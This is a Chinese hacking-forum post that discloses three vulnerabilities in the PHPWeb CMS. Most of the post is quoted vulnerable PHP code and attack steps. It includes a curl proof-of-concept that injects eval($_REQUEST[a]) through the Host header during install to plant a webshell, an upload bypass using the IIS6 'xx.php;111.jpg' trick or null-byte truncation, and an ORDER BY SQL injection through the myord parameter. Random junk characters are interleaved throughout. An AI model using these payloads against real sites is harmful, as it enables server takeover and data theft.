找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2417|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
. W" {' V  m; ^! ?) e  b: I3 U! b6 {# k. J* r$ c' A3 \, p
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
) y. d7 v& E& _, k( y6 O 9 T# }& a+ |3 Z; v* @. f2 N
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( g0 [2 G6 S# `1 m鸡肋2: 有一定安全常识的站长都会删掉 install 目录+ h6 B# d1 {: S

' L1 x6 F4 n( S0 B, A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
* U' p9 H; @" P& S : k5 o6 K0 W5 {) Z; N
分析:
  y0 F. z3 B6 F" O1 U
6 f4 v. a5 Z4 C
) r9 \; {4 W0 F& N6 d$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
+ U- p+ p; r+ ]' j
! o3 ?+ R3 J! J2 i/ N  Y                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
+ Z! |& A6 k& G% `4 C2 p: g                                            $filestr=str_replace(" ","",$filestr);
2 R# C7 ?) f# N# u* z                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
2 L# f+ o7 |# e                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
, J, y& f6 q7 Y                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);# a1 x0 d- R" D4 E  w" X: p$ r! ?7 z
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);& j8 w; Q/ P: E, L7 ^1 b, y, h5 Y
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
/ L# r) Y+ e9 K! v. R0 d% G8 {' B+ H8 J                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);/ _, n* h/ N, D1 P1 \5 p
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ J7 l2 n6 R  O& j# K1 o9 s

! N! G, v* B! ^# j# K0 H                                            fwrite(fopen($ConFile,"w"),$filestr,30000);' z( b5 V1 F( y0 D2 m5 }" w, ?# E
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
/ V2 D2 S8 H3 |; @# _9 N% G ; l, q, u1 N! _; j& L  e# x) E
poc:7 v' S! g) k6 u( p* w! c2 P$ ^+ {+ e

& R7 r  v3 n. w1 ^3 u/ A# W$ B?
* U. |: @, w( S6 Q8 [: v1  ~/ D# m" K1 Y
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ I! r' M9 Y" ^6 [! b
shell地址: /config.inc.php
  d, S/ U, B: H3 V3 Y5 ~+ j% {/ T. ?跟之前的 phpcms一样 需要远程数据库6 s% O0 Z, `- E5 ?  `

- [$ d, T1 x' ]4 ?/ ]——————————————————–
0 J7 R# c8 k! j# F) B! |" H上传漏洞(需要进后台):
# \- d- p# F. N漏洞文件: /kedit/upload_cgi/upload.php
5 K( {: s) j- w5 m这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& j  ?" a% V  V4 d0 m3 X  r

8 C9 R8 D& i* ~: M8 g3 L8 B7 ^ & D0 J& [4 \4 k# k0 W
<?php. S% W( v0 l2 |5 B
    define("ROOTPATH", "../../");
4 i* J6 o+ e, b" v5 M  V    include(ROOTPATH."includes/admin.inc.php");3 J$ w1 @6 f( d3 k0 i! y
    NeedAuth(0);4 c9 k4 a0 |% w8 \* J4 w8 r5 H

0 r) _3 I- u  i6 g    $dt=date("Ymd",time());/ ]! I! ]. ?' V2 P$ F3 ~
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 g, I) x+ L. z/ b3 i! I            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
. h6 }, T& ~8 I/ E( \. t    }
$ ~3 q& I7 G9 }& c) \* ~% W # h: E+ V8 R! Y& z0 X$ w
    //文件保存目录路径  ~, U6 U" g1 r$ v
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
7 I* m/ t' a6 C! a' R+ h    echo $save_path;7 @  l/ D) ~5 g; w' Z: }
    //文件保存目录URL
* D7 T0 a$ G0 h8 {  n( o, C* J$ x    $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 }8 i. w: h3 A( @- m3 j" T* w7 O
  p6 M. O! r  f
    //定义允许上传的文件扩展名% r0 W: ?8 ]6 _6 ^9 ^, C
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀% z  y( ~% M! P" U/ A
! X1 U) F, k/ Q7 s/ ]
    //最大文件大小: [% N  }  t0 W' K, d, d
    $max_size = 1000000;( b5 ^; j) M6 v  a* a
& h3 W! e8 `; S6 `; d
    //更改目录权限
0 A- R! ]# l% Z8 h- P* r" {    @mkdir($save_path, 0777);" a$ m/ h8 o( i1 |; m/ U7 F

7 t% ^, j) L" b8 ?) a    //文件的全部路径
4 m3 w( ^5 e' ~3 I& J    $file_path = $save_path.$_POST['fileName'];   //保存文件名6 x. i$ t& }. W3 G# Z6 {' d9 S8 t
0 R4 J8 j4 M  c. ~6 ]6 _
    //文件URL/ U4 w. X' s% m3 m5 E# _5 `
    $file_url = $save_url.$_POST['fileName'];
5 l- v6 r5 ^0 |& `/ k- W& z4 E: E//有上传文件时
) y$ @! ^8 W+ `8 B    if (empty($_FILES) === false) {
4 W! ~6 o& f0 x6 X4 t + ^& e- ~5 Z# ~: [  [, m
            //原文件名) E! r( m9 C! y3 ~$ U  K+ x
            $file_name = $_FILES['fileData']['name'];: W* u; [* A, N2 [  G% e
            //服务器上临时文件名
* d1 C3 J9 g0 n; A9 I4 _            $tmp_name = $_FILES['fileData']['tmp_name'];3 X! Z9 M* D+ C+ ~
            //文件大小
4 I! E2 V; a+ N. e6 ?            $file_size = $_FILES['fileData']['size'];7 O0 l% [& E) \% D$ A
            //检查目录
- P$ u6 Q& A. h3 j4 E5 f6 _" M4 k2 j            if (@is_dir($save_path) === false) {
$ S2 o1 T1 d2 Y$ \                    alert("上传目录不存在。");
& _, F/ |! _8 w  d6 A            }
3 ~: i9 n" V& J% j8 p1 }" ]            //检查目录写权限# Q9 K3 J$ E1 `- H
            if (@is_writable($save_path) === false) {
6 e  ~1 x  U: @4 T                    alert("上传目录没有写权限。");
# J# b; S3 {& u- w            }
# e( C* X* o: @: m. _  E            //检查是否已上传
# f# T- C8 C. _7 C) i6 v* L            if (@is_uploaded_file($tmp_name) === false) {6 Q7 a4 @8 O- r+ _7 c8 ^3 F
                    alert("临时文件可能不是上传文件。");
0 l; q! \8 X$ h8 |- L  w            }
, {8 p& B5 ?; @            //检查文件大小9 k' a; {6 A6 p8 ]
            if ($file_size > $max_size) {
; P; ~5 G  j. ?) P! l2 Y7 v6 K# A% g                    alert("上传文件大小超过限制。");
; G* W1 B0 ?% f& V            }3 b# M8 S4 o1 S1 H( d+ h
            //获得文件扩展名" ^  n/ V" x, ?  g
            $temp_arr = explode(".", $_POST['fileName']);8 e! z4 G! T2 _
            $file_ext = array_pop($temp_arr);  p" ^% O# H, Y' \7 I
            $file_ext = trim($file_ext);6 G7 Z7 z0 |% _% k1 T
            $file_ext = strtolower($file_ext);
4 f5 g8 I, {; M, Y
: U8 A/ {, Q  S# k- C. ~! m            //检查扩展名   ! N1 g6 }2 ?; j4 l' H& M
            if (in_array($file_ext, $ext_arr) === false) {     6 C3 n5 p" s) E& O: M+ }& F
                    alert("上传文件扩展名是不允许的扩展名。");! @" ^$ a" A3 w* q' n/ L
            }
" c# \) a' o! o  H   ]! B: }: s) j, u, ]
            //移动文件   
9 ]; P8 v3 ?; A5 e            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^% k4 Z$ I  m) R6 c
            if (move_uploaded_file($tmp_name, $file_path) === false) {
. Q* b* B$ W' `& ?, |4 e8 F                    alert("上传文件失败。");
% ?, }* j7 O  v+ J            }1 Y4 @' h2 G- t  q! p# C
! y& q' n" z/ k7 ?9 J
            @chmod($file_path,0666);9 W( S- e1 d7 S+ b; D/ J0 J
" }& L% U% d8 r- h: |) w( L, v
    ?>
% K, K  t6 P% F抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2270 l6 E1 c; d5 f5 A! G
! i: p& z* y4 C9 y+ H0 m' }1 l
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
5 O  x9 C) k* t0 H) y  v
2 K3 {- U$ r; L. W" O% s5 L8 N# b- r——————————————————+ i( h' k: q. m6 r) T) J4 T0 h& A
注入漏洞:
) w$ z+ W4 Z* n: y" p* C漏洞文件:search/module/search.php* f0 n8 f6 ^, G7 a- [# l2 G: t% d
/search/index.php?key=1&myord=1 [sqlinjection]
8 I3 I- Z! }2 W: N4 I/ n. N" p( X 7 D7 k) ]& l% D  K' s5 {. s" V' z, v
1 b: `! B+ l& T8 S( \2 z+ Z0 L% g
<?php
7 ^% d6 H) X- d$ k" A   //       ... 省略 n 行...- D2 V& q- q  `
   //第18行:# r" q4 t5 j( q# ~( j& K
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
) X$ z3 ^; [& N9 \/ Y: d8 L           $page=htmlspecialchars($_GET["page"]);/ ~: B' x# ~/ b8 M7 G( }$ h
           $myord=htmlspecialchars($_GET["myord"]);
2 g- r$ L4 p) p( b : l/ |5 K4 r( d1 N
   //       ... 省略 n 行...5 F+ f" k6 n7 @! {, r
   $key,$myord 两个参数带入查询8 j$ O3 N6 Z4 ?+ }- P% k
   //第47行 $key:
/ E$ X8 B. a; n8 _4 G( r
+ C" |: J# C, M; {# I   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
6 _6 C! l! V8 V! F# ~ 1 G9 r8 \5 _5 e) E, n" M+ Q; u+ w7 C, l
   //第197行 $myord
& i3 o2 Y1 e- E* R8 _   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入$ \5 j" R& h) C
! h# w# z$ q/ z( r0 E8 }9 |
   ?>
, e, \0 W) }4 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表